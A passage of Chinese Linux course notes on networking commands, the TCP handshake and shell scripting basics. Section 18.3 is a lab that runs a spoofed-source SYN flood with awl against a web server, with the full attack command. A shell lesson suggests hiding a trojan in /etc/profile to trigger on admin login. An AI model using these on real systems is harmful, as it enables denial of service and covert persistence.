-n, --numeric don't resolve names 以数字形式显示当前建立的有效连接和端口

-u 显示udp协议连接

-t 显示tcp协议连接

-p, --programs 显示连接对应的PID与程序名

 Proto===连接协议的种类

Recv-Q====接收到字节数

Send-Q====从本服务器,发出去的字节数

Local Address====本地的IP地址,可以是IP,也可以是主机名

Foreign Address====远程主机的IP 地址

网络连接状态STATE:

      CLOSED : 初始(无连接)状态。

      LISTEN :  侦听状态,等待远程机器的连接请求。

           ESTABLISHED: 完成TCP三次握手后,主动连接端进入ESTABLISHED状态。此时,TCP连接已经建立,可以进行通信。

      TIME_WAIT :  在TCP四次挥手时,主动关闭端发送了ACK包之后,进入TIME_WAIT状态,等待最多MSL时间,让被动关闭端收到ACK包。

    扩展:MSL

MSL,即Maximum Segment Lifetime,一个数据分片(报文)在网络中能够生存的最长时间,在RFC 793中定义MSL通常为2分钟,即超过两分钟即认为这个报文已经在网络中被丢弃了。对于一个TCP连接,在双方进入TIME_WAIT后,通常会等待2倍MSL时间后,再关闭掉连接,作用是为了防止由于FIN报文丢包,对端重发导致与后续的TCP连接请求产生顺序混乱

实战:服务器上有大量TIME_WAI连接,如何优化TCP连接,快速释放tcp连接 ?

[root@iZ2zee35aswj00xgdqoanhZ ~]# netstat -antup | grep TIME_WAI
tcp 0 0 123.57.82.225:80 111.196.245.241:4002 TIME_WAIT -
tcp 0 0 123.57.82.225:80 111.196.245.241:3970 TIME_WAIT -
tcp 0 0 123.57.82.225:80 111.196.245.241:4486 TIME_WAIT -
tcp 0 0 123.57.82.225:80 111.196.245.241:3932 TIME_WAIT -
tcp 0 0 123.57.82.225:80 111.196.245.241:3938 TIME_WAIT -
tcp 0 0 123.57.82.225:80 111.196.245.241:3917 TIME_WAIT -
tcp 0 0 123.57.82.225:80 111.196.245.241:3944 TIME_WAIT -
tcp 0 0 123.57.82.225:80 111.196.245.241:3957 TIME_WAIT -
tcp 0 0 123.57.82.225:80 111.196.245.241:3922 TIME_WAIT -

解决:

例:linux下默认MSL等待时间是60秒

[root@localhost ipv4]# cat /proc/sys/net/ipv4/tcp_fin_timeout
60 秒
[root@localhost ipv4]# echo 30 > /proc/sys/net/ipv4/tcp_fin_timeout #通过缩短时间time_wait时间来快速释放链接

修改主机名配置文件,作用:设置主机名永久生效

[root@localhost ~]# vim /etc/hostname
localhost.cn

配置IP与主机名(域名)的对应关系。

[root@localhost ~]# vim /etc/hosts #优先级高于DNS解析
127.0.0.1 localhost localhost.localdomain localhost4 localhost4.localdomain4
::1 localhost localhost.localdomain localhost6 localhost6.localdomain6
192.168.1.63 localhost.cn
192.168.1.64 xuegod64.cn
192.168.1.62 xuegod62.cn

18.2.4 配置DNS-路由相关信息

DNS配置的配置文件

[root@localhost ~]# cat /etc/resolv.conf
# Generated by NetworkManager
search cn
nameserver 114.114.114.114

注:在centos5版本,配置DNS用这个文件。在centos6以后,直接在网卡配置文件中指定:DNS1=192.168.1.1

默认情况下,域名解析顺序: 本地hosts文件-》DNS查询

互动:是不是一定先解析hosts再解析DNS?

本机域名解析顺序

[root@localhost ~]# vim /etc/nsswitch.conf #查找以下内容
#hosts: db files nisplus nis dns

hosts: files dns myhostname #可以看到是先查看 files hosts文件,再查看DNS的

查看路由信息:

[root@localhost ~]# route -n
Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
192.168.1.0 0.0.0.0 255.255.255.0 U 0 0 0 eth0
169.254.0.0 0.0.0.0 255.255.0.0 U 1002 0 0 eth0
0.0.0.0 192.168.1.1 0.0.0.0 UG 0 0 0 eth0

注:0.0.0.0 192.168.1.1 0.0.0.0 #0.0.0.0是32位二进制转换成十进制的写法。32位子网掩码都为0。表示IP地址32位都是主机位。如果IP地址是0.0.0.0,子网掩码也是0.0.0.0,则表示所有的IP地址,或者是没有IP地址。

参数:  -n  :不要使用通讯协定或主机名称,直接使用 IP 或 port number;

route命令输出的路由表字段含义如下:

Destination 目标 :The destination network or destination host. 目标网络或目标主机。     Gateway 网关 :网关地址,如果是本地网段IP,就显示0.0.0.0     Genmask :子网掩码

添加/删除路由条目:

[root@linux ~]# route add [-net|-host] [网域或主机] netmask [mask] [gw|dev]
[root@linux ~]# route del [-net|-host] [网域或主机] netmask [mask] [gw|dev]

增加 (add) 与删除 (del) 路由的相关参数:

  -net    :表示后面接的路由为一个网域;

  -host  :表示后面接的为连接到单部主机的路由;

  netmask :与网域有关,可以设定 netmask 决定网域的大小;

  gw      :gateway 的简写,后续接的是 IP 的数值喔,与 dev 不同;

  dev    :如果只是要指定由那一块网路卡连线出去,则使用这个设定,后面接 eth0 等

例:

添加/删除路由条目:

添加路由(把Linux做成路由器时或服务器有多个网卡,指定到不同网段走哪个网卡)

实战场景:多个网卡,多个网段,实现不同数据走不同网卡。如果网络管理和生产数据分开管理。

[root@localhost ~]# route add -net 192.168.2.0 netmask 255.255.255.0 dev ens38
[root@localhost ~]# route -n
Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
0.0.0.0 192.168.1.1 0.0.0.0 UG 100 0 0 ens33
0.0.0.0 192.168.1.1 0.0.0.0 UG 101 0 0 ens38
192.168.1.0 0.0.0.0 255.255.255.0 U 100 0 0 ens33
192.168.1.0 0.0.0.0 255.255.255.0 U 101 0 0 ens38
192.168.2.0 0.0.0.0 255.255.255.0 U 0 0 0 ens38

删除路由

[root@localhost ~]# route del -net 192.168.2.0 netmask 255.255.255.0

路由跟踪:查看经过多少个路由器到目标网址:

实战场景: 新上线的服务器 www.xuegod.cn , 北京用户需要经过几跳可以到达服务器。

[root@localhost ~]# traceroute baid.com
traceroute to baid.com (184.154.126.180), 30 hops max, 60 byte packets
1 gateway (192.168.1.1) 173.447 ms 170.522 ms 170.644 ms
2 10.70.0.1 (10.70.0.1) 424.751 ms 424.462 ms 424.138 ms
3 61.51.54.41 (61.51.54.41) 172.110 ms 171.752 ms 171.413 ms
4 bt-227-241.bta.net.cn (202.106.227.241) 171.245 ms 171.062 ms 170.805 ms
5 202.96.12.1 (202.96.12.1) 169.427 ms 169.097 ms 168.747 ms
6 219.158.15.38 (219.158.15.38) 168.518 ms 219.158.19.226 (219.158.19.226) 39.792 ms 39.078 ms
7 219.158.103.42 (219.158.103.42) 39.969 ms 48.603 ms 48.222 ms
8 219.158.103.30 (219.158.103.30) 47.984 ms 219.158.98.94 (219.158.98.94) 38.772 ms 47.271 ms
9 219.158.30.42 (219.158.30.42) 200.250 ms 204.371 ms 204.074 ms
10 sjo-b21-link.telia.net (213.248.73.189) 290.052 ms 290.775 ms 287.952 ms
11 kanc-b1-link.telia.net (213.155.132.181) 331.740 ms 333.284 ms 333.632 ms
12 chi-b21-link.telia.net (213.155.130.176) 340.701 ms 339.143 ms *
13 * * serverhub-ic-324864-chi-b21.c.telia.net (62.115.154.247) 336.831 ms
14 agg1.c13.r07.s101.chi03.singlehop.net (67.212.190.226) 352.706 ms 758.439 ms 552.097 ms
15 cr1.c09c10.r15.s101.chi03.singlehop.net (67.212.183.211) 325.025 ms 339.397 ms 340.297 ms
16 server2.homelike.com (184.154.126.180) 341.447 ms 342.154 ms 343.028 ms

ping命令的一般格式为:

-c 数目 在发送指定数目的包后停止。

-i 秒数 设定间隔几秒送一个网络封包给一台机器,预设值是一秒送一次。

[root@bogon ~]# ping -i 0.01 192.168.1.1

指定从哪个端口出去。使用参数大写的I

ping -I ens33 192.168.1.1

互动:当IP地址冲突后或网关冲突后,在windows下有这个,在linux怎么办?

 arping: 查看IP地址是否有冲突

例:查看网关是否有冲突

[root@localhost ~]# arping -I ens33 192.168.1.1
ARPING 192.168.1.1 from 192.168.1.63 ens33
Unicast reply from 192.168.1.1 [80:9F:AB:08:EB:CA] 3.786ms
Unicast reply from 192.168.1.1 [80:9F:AB:08:EB:CA] 2.631ms

watch

作用:实时监测命令的运行结果,可以看到所有变化数据包的大小

-d, --differences ['dɪfərəns] #高亮显示指令输出信息不同之处;

-n, --interval seconds [ˈɪntəvl] #指定指令执行的间隔时间(秒);

例1:每隔1秒高亮差异显示ens33相关信息

[root@localhost ~]# watch -d -n 1 "ifconfig ens33" Ctrl+c 就可以退出~

 18.3 实战-在局域网中使用 awl伪装MAC地址进行多线程SYN洪水攻击

http://ssa.yundun.com/cc 云盾全球实时攻防图

你现在学得是第一阶段中的内容,这个案例是让你开眼界!

18.3.1 tcp三次握手及tcp连接状态

TCP报文段的首部格式:

 需要了解的信息:

ACK : TCP协议规定,只有ACK=1时有效,也规定连接建立后所有发送的报文的ACK必须为1

SYN(SYNchronization) : 在连接建立时用来同步序号。当SYN=1而ACK=0时,表明这是一个连接请求报文。对方若同意建立连接,则应在响应报文中使SYN=1和ACK=1. 因此,  SYN置1就表示这是一个连接请求或连接接受报文。

synchronization [ˌsɪŋkrənaɪ'zeɪʃn] 同步

FIN (finis)即完,终结的意思, 用来释放一个连接。当 FIN = 1 时,表明此报文段的发送方的数据已经发送完毕,并要求释放连接。

finis ['faɪnɪs] 终结

建立tcp连接时的tcp三次握手和断开tcp连接时的4次挥手整体过程说明图:

 实战1:使用tcpdump抓包查看tcp三次握手过程

tcp三次握手过程:

Client:我可以给你发数据吗?

Server:可以

Client:好的

 三次握手的核心是: 确认每一次包的序列号。

tcp三次握手过程:

1、首先由Client发出请求连接即 SYN=1,声明自己的序号是 seq=x

2、然后Server 进行回复确认,即 SYN=1 ,声明自己的序号是 seq=y, 并设置为ack=x+1,

3、最后Client 再进行一次确认,设置 ack=y+1.

tcpdump常用参数:

-c         指定包个数

-n        IP,端口用数字方式显示

port 指定端口

 互动:如何产生tcp的链接?

在localhost上登录xuegod64,抓取ssh远程登录xuegod64时,产生的tcp三次握手包:

[root@localhost ~]# ifconfig ens38 down
[root@localhost ~]# tcpdump -n -c 3 port 22 -i ens33

打开另一个终端,开始建立tcp连接:

[root@localhost Desktop]# ssh root@192.168.1.64
The authenticity of host '192.168.1.64 (192.168.1.64)' can't be established.
RSA key fingerprint is b2:29:c8:62:98:80:92:3c:e2:67:3f:f0:7c:40:69:63.
Are you sure you want to continue connecting (yes/no)? #到这里就不用执行了,tcp已经建立连接

查看数据包:

[root@localhost ~]# tcpdump -n -c 3 port 22 -i ens33
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on ens33, link-type EN10MB (Ethernet), capture size 262144 bytes
10:34:54.874512 IP 192.168.1.63.59528 > 192.168.1.64.ssh: Flags [S], seq 2421809005, win 29200, options [mss 1460,sackOK,TS val 2231108 ecr 0,nop,wscale 7], length 0
10:34:54.876367 IP 192.168.1.64.ssh > 192.168.1.63.59528: Flags [S.], seq 4293815945, ack 2421809006, win 28960, options [mss 1460,sackOK,TS val 542827 ecr 2231108,nop,wscale 7], length 0
10:34:54.877387 IP 192.168.1.63.59528 > 192.168.1.64.ssh: Flags [.], ack 1, win 229, options [nop,nop,TS val 2231111 ecr 542827], length 0

注:Flags [S] 中的 S 表示为SYN包为1

client主机返回ACK,包序号为ack=1 ,这是相对序号,如果需要看绝对序号,可以在tcpdump命令中加-S

[root@localhost ~]# tcpdump -n -c 3 port 22 -S -i ens33
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes
16:00:54.310316 IP 192.168.1.63.57528 > 192.168.1.64.ssh: Flags [S], seq 1932774705, win 14600, options [mss 1460,sackOK,TS val 5103659 ecr 0,nop,wscale 7], length 0
16:00:54.311072 IP 192.168.1.64.ssh > 192.168.1.63.57528: Flags [S.], seq 3006844046, ack 1932774706, win 14480, options [mss 1460,sackOK,TS val 3869455 ecr 5103659,nop,wscale 7], length 0
16:00:54.311175 IP 192.168.1.63.57528 > 192.168.1.64.ssh: Flags [.], ack 3006844047, win 115, options [nop,nop,TS val 5103660 ecr 3869455], length 0
3 packets captured
3 packets received by filter
0 packets dropped by kernel

TCP三次握手连接状态详解:

 TCP连接状态详解:

服务器端:LISTEN:侦听来自远方的TCP端口的连接请求

客户端:SYN-SENT:在发送连接请求后等待匹配的连接请求

服务器端:SYN-RECEIVED:在收到和发送一个连接请求后等待对方对连接请求的确认

客户端/服务器端:ESTABLISHED:代表一个打开的连接

18.3.2 实战:在局域网中使用 awl伪装IP地址进行多线程SYN洪水攻击

SYN洪水攻击概述:SYN洪水攻击主要源于: tcp协议的三次握手机制

SYN洪水攻击的过程:

在服务端返回一个确认的SYN-ACK包的时候有个潜在的弊端,如果发起的客户是一个不存在的客户端,那么服务端就不会接到客户端回应的ACK包。

这时服务端需要耗费一定的数量的系统内存来等待这个未决的连接,直到等待超关闭,才能施放内存。

如果恶意者通过通过ip欺骗,发送大量SYN包给受害者系统,导致服务端存在大量未决的连接并占用大量内存和tcp连接,从而导致正常客户端无法访问服务端,这就是SYN洪水攻击的过程。

实战拓扑图:

 下载地址:https://gitlab.com/davical-project/awl/tags

在localhost 安装awl软件进行攻击:

 通过xshell上传awl-0.2.tar.gz到Linux系统中

开始安装awl

[root@localhost ~]#tar zxvf awl-0.2.tar.gz #解压
[root@localhost ~]#cd awl-0.2
[root@localhost awl-0.2]#./configure # 查检软件包安装环境
[root@localhost awl-0.2]#make -j 4
#make 把源代码编译成可执行的二进制文件
# -j 4以4个进程同时编译,速度快
[root@localhost awl-0.2]#make install #安装

查看安装的命令:

[root@localhost awl-0.2]# which awl
/usr/local/bin/awl

在xuegod64上搭建一台web服务器,模拟要被攻击的服务器

[root@xuegod64 ~]# yum install httpd -y #安装web服务器
[root@xuegod64 ~]# systemctl start httpd
[root@xuegod64 ~]# iptables -F

开始攻击:

实战4: 在局域网中使用 awl伪装IP地址进行多线程SYN攻击

获取对方的IP地址解析成MAC地址

[root@localhost ~]# ping 192.168.1.64
[root@localhost ~]# arp -n
Address HWtype HWaddress Flags Mask Iface
192.168.1.17 ether e0:b9:a5:ac:c5:76 C eth0
192.168.1.64 ether 00:0c:29:57:f5:b5 C eth0

开始攻击:

awl参数如下: -i 发送包的接口,如果省略默认是eth0 -m 指定目标mac地址 注:如果-m没有指定mac,默认目标MAC地址是“FF.FF.FF.FF.FF.FF”,

FF.FF.FF.FF.FF.FF MAC地址是什么?

这表示向同一网段内的所有主机发出ARP广播,进行SYN攻击,还容易使整个局域网瘫痪。

-d 被攻击机器的IP

-p 被攻击机器的端口

两台机器:

[root@localhost ~]# iptables -F
[root@localhost ~]# awl -i ens33 -m 00:0c:29:57:f5:b5 -d 192.168.1.64 -p 80

测试攻击效果:

在xuegod64上查看:发现很多伪装成公网的IP在攻击我们

 ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

第十九章 shell脚本的基础

19.1 shell 基本语法

19.1.1 什么是shell?

Shell是一个命令解释器,它在操作系统的最外层,负责直接与用户进行对话,把用户的输入解释给操作系统,并处理各种各样的操作系统的输出结果,输出到屏幕反馈给用户。这种对话方式可是交互也可以是非交互式的

我们所输入的命令计算机是不识别的,这时就需要一种程序来帮助我们进行翻译,变成计算机能识别的二进制程序,同时又把计算机生成的结果返回给我们。

19.1.2 编程语言分类

编程语言主要用:低级语言和高级语言

1)低级语言:

机器语言:二进制语言

汇编语言:符号语言,使用助记符来代替操作码,也就是用符号代替机器语言的二进制码

它们都是面向机器的语言

2)高级语言:

它是比较接近自然语言或者说人类语言的一种编程,用人们能够容易理解的方式进行编写程序,

静态语言:编译型语言 如:c 、 c++ 、 java,

动态语言:解释型语言 如: php 、 shell 、 python 、 perl

gcc编译器:(解释器) 将人类理解的语言翻译成机器理解的语言

19.1.3 什么是SHELL脚本?

shell脚本:就是说我们把原来linux命令或语句放在一个文件中,然后通过这个程序文件去执行时,我们就说这个程序为shell脚本或shell程序;我们可以在脚本中输入一系统的命令以及相关的语法语句组合,比如变量,流程控制语句等,把他们有机结合起来就形成了一个功能强大的shell脚本

先手写一个脚本体验一下:

[root@localhost ~]# vim test.sh #写入以下内容
#!/bin/bash
# This is shell.
echo "hello world"
mkdir /tmp/test
touch /tmp/test/a.txt

 注释:

1、!/bin/bash 作用:告诉脚本使用的是哪种命令解释器。如不指shell,以当前shell作为执行的shell。

2、在shell中以#表示开头,整个行就被当作一个注释。执行时被忽略。

3、shell程序一般以.sh结尾

[root@localhost ~]# chmod +x test.sh
[root@localhost ~]# ./test.sh #执行
hello world

创建shell程序的步骤:

 第一步:创建一个包含命令和控制结构的文件。

 第二步:修改这个文件的权限使它可以执行。 使用chmod +x test.sh

 第三步:检测语法错误

 第四步:执行 ./example

shell脚本的执行通常有以下几种方式

1、/root/test.sh 或者 ./test.sh (当前路径下执行脚本的话要有执行权限chmod +x test.sh)

2、bash test.sh 或 sh test.sh (这种方式可以不对脚本文件添加执行权限)

3、source test.sh (可以没有执行权限)

4、sh < test.sh 或者 cat test.sh |sh(bash)

19.2 SHELL变量及运用

19.2.1 shell变量

变量是shell 传递数据的一种方法。变量是用来代表每个值的符号名。我们可以把变量当成一个容器,通过变量,可以在内存中存储数据。也可以在脚本执行中进行修改和访问存储的数据

变量的设置规则:

变量名称通常是大写字母,它可以由数字、字母(大小写)和下划线_组成。变量名区分大小写;但是大家要注意变量名称不能以数字开头

等号 = 用于为变量分配值,在使用过程中等号两边不能有空格

变量存储的数据类型是整数值和字符串值

在对变量赋于字符串值时,建议大家用引号将其括起来。因为如果字符串中存在空格隔符号。需要使用单引号或双引号

要对变量进行调用,可以在变量名称前加美元符号$

如果需要增加变量的值,那么可以进行变量值的叠加。不过变量需要用双引号包含“$变量名”或用${变量名}包含

变量的分类

按照变量的作用可以分成4类:

1、用户自定义变量

2、环境变量:这种变量中主要保存的是和系统操作环境相关的数据。

3位置参数变量:这种变量主要是用来向脚本当中传递参数或数据的,变量名不能自定义,变量作用是固定的。

4、预定义变量:是Bash中已经定义好的变量,变量名不能自定义,变量作用也是固定的。

按照变量作用域可以分成2类:全局变量和局部变量。

局部变量是shell 程序内部定义的,其使用范围仅限于定义它的程序,对其它程序不可见。包括:用户自定义变量、位置变量和预定义变量。

 全局变量是环境变量,其值不随shell 脚本的执行结束而消失。

19.2.2 用户定义变量

变量名命名规则:由字母或下划线打头,不允许数字开头,后面由字母、数字或下划线组成,并且大小写字母意义不同。在使用变量时,在变量名前加$

例1:给变量VAR1赋值

[root@localhost ~]# VAR1=123
[root@localhost ~]# echo $VAR1
123
variable [ˈveəriəbl] 变量

例2:错误的赋值方式,不允许数字开头,等号两边不能有空格

[root@localhost ~]# VAR2 =456
bash: VAR2: 未找到命令...
[root@localhost ~]# VAR2= 456
bash: 456: 未找到命令...
[root@localhost ~]# VAR2 = 456
bash: VAR2: 未找到命令...
[root@localhost ~]# 3VAR2 = 456
bash: 3VAR2: 未找到命令...

例3:变量值的叠加,使用${}

$name是${name}的简化版本,但是在某些情况下,还必须使用花括号引起的方式来消除歧义并避免意外的结果

[root@localhost ~]# VAR4=mysql
[root@localhost ~]# echo $VAR4
mysql
[root@localhost ~]# echo $VAR4-db.log
mysql-db.log
[root@localhost ~]# echo $VAR4.db.log
mysql.db.log
[root@localhost ~]# echo $VAR4db.log #发现输出的结果不是我们想要的,怎么办?
.log
[root@localhost ~]# echo ${VAR4}db.log
mysqldb.log

19.2.3 命令的替换,使用$()或反引号

例1:在命令就调用date命令

扩展:date命令是显示或设置系统时间与日期。

-s:根据字符串来设置日期与时间。字符串前后必须加上双引号;

:指定显示时,使用特定的日期时间格式。

例:格式化输出:

[root@localhost ~]# date +"%Y-%m-%d" #今天时间,一般备份数据需要用这个
2018-05-25
[root@localhost ~]# date +"%Y-%m" #只显示年月
2018-05
[root@localhost ~]# date +"%Y-%m-%d %H:%M.%S" #日期加时间
2018-05-25 17:51.36
[root@localhost ~]# date +"%Y/%m/%d %H/%M/%S" #使用/做分隔符
2018-05-25 17-51-43
[root@localhost ~]# date +"%Y-%m-%d-%H-%M-%S" #使用-做分隔符,一般备份数据需要用这个

注: %y 年份只显示2位, %Y年份显示4位

date命令加减操作:

date +%Y%m%d #显示当天年月日
date -d "+1 day" +%Y%m%d #显示明天的日期
date -d "-1 day" +%Y%m%d #显示昨天的日期
date -d "-1 month" +%Y%m%d #显示上一月的日期
date -d "+1 month" +%Y%m%d #显示下一月的日期
date -d "-1 year" +%Y%m%d #显示前一年的日期
date -d "+1 year" +%Y%m%d #显示下一年的日期

设定时间:

date -s 20180523 #设置成20120523,这样会把具体时间设置成空00:00:00
date -s 01:01:01 #设置具体时间,不会对日期做更改
date -s "2018-05-23 01:01:01" #这样可以设置全部时间

例1: 在命令中调用date命令输出值

[root@localhost ~]# echo `date`
2018年 05月 25日 星期五 17:41:29 CST
[root@localhost ~]# echo $(date)
2018年 05月 25日 星期五 17:41:42 CST
[root@localhost ~]# echo `date +"%Y-%m-%d"`
2012-05-23

19.2.4 命令的嵌套使用,使用$( $( ))

[root@localhost ~]# find /root/ -name *.txt
[root@localhost ~]# VAR6=$(tar zcvf root.tar.gz $(find /root/ -name *.txt))

tar: 从成员名中删除开头的“/”

[root@localhost ~]# echo $VAR6 #查看值, VAR6中存储着tar的标准输出
/root/.cache/tracker/db-version.txt /root/.cache/tracker/db-locale.txt /root/.cache/tracker/parser-sha1.txt /root/.cache/tracker/locale-for-miner-user-guides.txt /root/.cache/tracker/locale-for-miner-apps.txt /root/.cache/tracker/last-crawl.txt

。。。

实战:分享一个系统时间错误,引起tar报警告

[root@localhost ~]# date -s "2012-03-03 21:25:00"
[root@localhost ~]# tar zxvf root.tar.gz -C /opt/
root/.cache/tracker/db-version.txt
tar: root/.cache/tracker/db-version.txt:时间戳 2017-09-19 13:05:18 是未来的 168094624.438537189 秒之后

注: 如果弹出这个消息,是因为咱们的当前系统的时间不对。 比如:当前系统的时间晚于文件的mtime时间

[root@localhost ~]# ls /opt/root/.mozilla/firefox/wggimqlt.default/ -a #解压成功

19.2.5 shell中单引号和双引号区别

‘’ 在单引号中所有的字符包括特殊字符($,'',`和\)都将解释成字符本身而成为普通字符。

“” 在双引号中,除了$, '', `和\以外所有的字符都解释成字符本身,拥有“调用变量的值”、“引用命令”和“转义符”的特殊含义

注:\转义符,跟在\之后的特殊符号将失去特殊含义,变为普通字符。如\$将输出“$”符号,而不当做是变量引用

例:

[root@localhost ~]# echo $VAR1
123
[root@localhost ~]# echo \$VAR1
$VAR1

例1:给变量值赋于多个单词,需要使用单引号和双引号

[root@localhost ~]# VAR8='xuegdo mk'
[root@localhost ~]# echo $VAR8
xuegdo mk

例2:赋值时单引号和双引号的区别

[root@localhost ~]# VAR8='xuegod mk $VAR1'
[root@localhost ~]# VAR9="xuegod mk $VAR1" #双引中$符号有作用
[root@localhost ~]# echo $VAR8
xuegod mk $VAR1
[root@localhost ~]# echo $VAR9
xuegod mk 123

注:单引号之间的内容原封不动赋值给变量, 双引号之间的内容如有特殊符号会保留它的特殊含义

删除变量

[root@localhost ~]# unset VAR1
[root@localhost ~]# echo $VAR1

19.2.6 环境变量

在bash shell中,环境变量分为两类:全局变量和局部变量

全局变量:对于shell会话和所有的子shell都是可见的

局部变量: 它只在自己的进程当中使用

例1:局部变量

[root@localhost ~]# VAR1=123
[root@localhost ~]# echo $VAR1
123
[root@localhost ~]# vim a.sh
#!/bin/bash
echo $VAR1
[root@localhost ~]# echo $VAR1
123
[root@localhost ~]# bash a.sh #执行a.sh 时,会使用另一个bash去执行,就访问不到$VAR1的值

例2:env命令查看所全局变量

[root@localhost ~]# env
[root@localhost ~]# env | grep PATH
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/root/bin

例3:使用export把这个局部变量输出为全局变量

[root@localhost ~]# export VAR1=xuegod
[root@localhost ~]# echo $VAR1
xuegod
[root@localhost ~]# vim a.sh #写入以下内容
#!/bin/bash
echo $VAR1
[root@localhost ~]# bash a.sh #引用全局变量成功
xuegod

互动: 虽然我们设置了export全局变量,但是新开的xshell连接中,还是读不到变量VAR1,怎么办?

 例3:让变量永久生效,可以把定义好的变量写入配置文件

当登录系统或新开启一个ssh连接启动bash进程时,一定会加载这4个配置文件:

[root@localhost ~]# vim /etc/profile #系统全局环境和登录系统的一些配置
[root@localhost ~]# vim /etc/bashrc #shell全局自义配置文件,用于自定义shell
[root@localhost ~]# vim /root/.bashrc #用于单独自定义某个用户的bash
[root@localhost ~]# vim /root/.bash_profile #用户单独自定义某个用户的系统环境

互动:如何知道新建一个ssh连接,加载这4个配置文件先后顺序?

答:可以每个文件的最后,追加一个echo命令,输出一下文件的名字

[root@localhost ~]# echo 'echo /etc/profile ' >> /etc/profile
[root@localhost ~]# echo 'echo /etc/bashrc' >> /etc/bashrc
[root@localhost ~]# echo 'echo /root/.bashrc ' >> /root/.bashrc
[root@localhost ~]# echo 'echo /root/.bash_profile ' >> /root/.bash_profile
[root@localhost ~]# ssh root@192.168.1.63 #弹出以下信息,就知道有优先级了
/etc/profile
/etc/bashrc
/root/.bashrc
/root/.bash_profile

互动:知道加载的顺序有什么用?

可以在这里添加木马程序,只要管理登录系统,就触发木马程序! 现在大家知道学习操作系统原理的作用了吧。

[root@localhost ~]# echo 'touch /tmp/profile.txt ' >> /etc/profile
[root@localhost ~]# echo 'touch /tmp/bash_profile.txt ' >> /root/.bash_profile

下面开始插入永久变量:

[root@localhost ~]# vim /etc/profile #在文件的最后插入
export VAR9=xuegod #=等号两边不能有空格
[root@localhost ~]# source /etc/profile #重新加载profile文件

新打开的链接中,也有了

  19.2.7 设置PATH环境变量

SHELL要执行某一个程序,它要在系统中去搜索这个程序的路径,path变量是用来定义命令和查找命令的目录,当我们安装了第三方程序后,可以把第三方程序bin目录添加到这个path路径内,就可以在全局调用这个第三方程序的

例1:

[root@localhost ~]# vim /opt/backup
#!/bin/bash
echo "Backup data is OK!"

[root@localhost ~]# chmod +x /opt/backup
[root@localhost ~]# /opt/backup
[root@localhost ~]# backup
bash: backup: 未找到命令...

将backup命令添加PATH中

[root@localhost ~]# PATH=/opt/:$PATH
[root@localhost ~]# backup #发现命令可以直接执行了,不用写全路径了
[root@localhost ~]# vim /etc/profile # 在文件最后追加以下内容,永久生效
export PATH=/opt/:$PATH
[root@localhost ~]# source /etc/profile #重新加载配置文件,使用配置生效

19.2.8 shell位置变量

Shell解释执行用户的命令时,将命令行的第一个字符作为命令名,而其它字符作为参数。

$0 获取当前执行shell脚本的文件文件名,包括脚本路径,命令本身

$n 获取当前脚本的第n个参数 n=1,2.....n 当n大于9时 用${10}表示。

例子:

[root@localhost ~]# vim print.sh
#!/bin/bash
echo "本shell脚本的文件名: $0"
echo "第1个参数: $1"
echo "第2个参数: $2"
echo "第3个参数: $3"
echo "第4个参数: $4"

[root@localhost ~]# chmod +x print.sh
[root@localhost ~]# ./print.sh 111 222 a.txt 444
本shell脚本的文件名: ./print.sh
第1个参数: 111
第2个参数: 222
第3个参数: a.txt
第4个参数: 444

使用场景:服务器启动传参数

[root@localhost ~]# /etc/init.d/network restart

19.2.9 特殊变量

有些变量是一开始执行Script脚本时就会设定,且不能被修改,但我们不叫它只读的系统变量,而叫它特殊变量。这些变量当一执行程序时就有了,以下是一些特殊变量:

$*

以一个单字符串显示所有向脚本传递的参数; 如"$*"用【"】括起来的情况、以"$1 $2 … $n"的形式输出所有参数

$#

传递到脚本的参数个数

$$

当前进程的进程号PID

$?

显示最后命令的退出状态;0表示没有错误,其他任何值表明有错误

$!

后台运行的最后一个进程的进程号pid

例子:

[root@localhost ~]# vim special_variable.sh #写入以一下内容
#!/bin/bash
echo "$* 表示这个程序的所有参数 "
echo "$# 表示这个程序的参数个数"
echo "$$ 表示程序的进程ID "
touch /tmp/b.txt &
echo "$! 执行上一个后台指令的PID"
echo "$$ 表示程序的进程ID "
echo "$? 表示上一个程序执行返回结果 "

[root@localhost ~]# bash special_variable.sh 11 22 33 44 55
11 22 33 44 55 表示这个程序的所有参数
11 22 33 44 55 表示这个程序的所有参数
5 表示这个程序的参数个数
45502 表程序的进程ID
45504 执行上一个后台指令的PID
45502 表程序的进程ID
0 表示上一个程序执行返回结果

例2:常用的环境变量

[root@localhost opt]# cd /opt/
[root@localhost opt]# vim env.sh
#!/bin/bash
echo $HOME
echo $PATH
echo $PWD
[root@localhost opt]# bash env.sh
/root
/opt/:/opt/:/usr/local/bin:/usr/local/sbin:/usr/bin:/usr/sbin:/bin:/sbin:/root/bin
/opt

19.3 数学运算

19.3.1 expr命令

(1)对数字的基本计算,做比较时,输出结果假为0,1为真;特殊符号用转义符

[root@localhost ~]# expr 2 \> 5
0
[root@localhost ~]# expr 6 \> 5
1
[root@localhost ~]# expr 3 * 5

expr: 语法错误

[root@localhost ~]# expr 3 \* 5
15
[root@localhost ~]# expr 3 \+ 5
8

(2)对字符串的处理

[root@localhost ~]# expr length "ni hao"
6
[root@localhost ~]# expr substr "ni hao" 2 4 #从第2个开始,截取4个字符出来
i ha

19.3.2 使用$(( ))

格式:$((表达式1,表达2))

特点:

1、在双括号结构中,所有表达式可以像c语言一样,如:a++,b--等。a++ 等价于 a=a+1

2、在双括号结构中,所有变量可以不加入:“$”符号前缀。

3、双括号可以进行逻辑运算,四则运算

4、双括号结构 扩展了for,while,if条件测试运算

5、支持多个表达式运算,各个表达式之间用“,”分开

常用的算数运算符

运算符

意义

++ --

递增及递减,可前置也可以后置

+ - ! ~

一元运算的正负号 逻辑与取反

+ - * / %

加减乘除与余数

< >=

比较大小符号

== !=

相等 不相等

>>

向左位移 向右位移

& ^ |

位的与 位的异或 位的或

&& ||

逻辑与 逻辑或

? :

条件判断

例1:

[root@localhost opt]# b=$((1+2))
[root@localhost opt]# echo $b
3
[root@localhost opt]# echo $((2*3))
6

例2:递增和递减

[root@localhost opt]# echo $((b++))
4
[root@localhost opt]# echo $((++b))
6

说明: a++或a--为先赋值再+1或减1 ; ++a或--a为先加1或减1,然后再进行赋值

例3:

求1到100的和

[root@localhost opt]# echo $((100*(1+100)/2))
5050

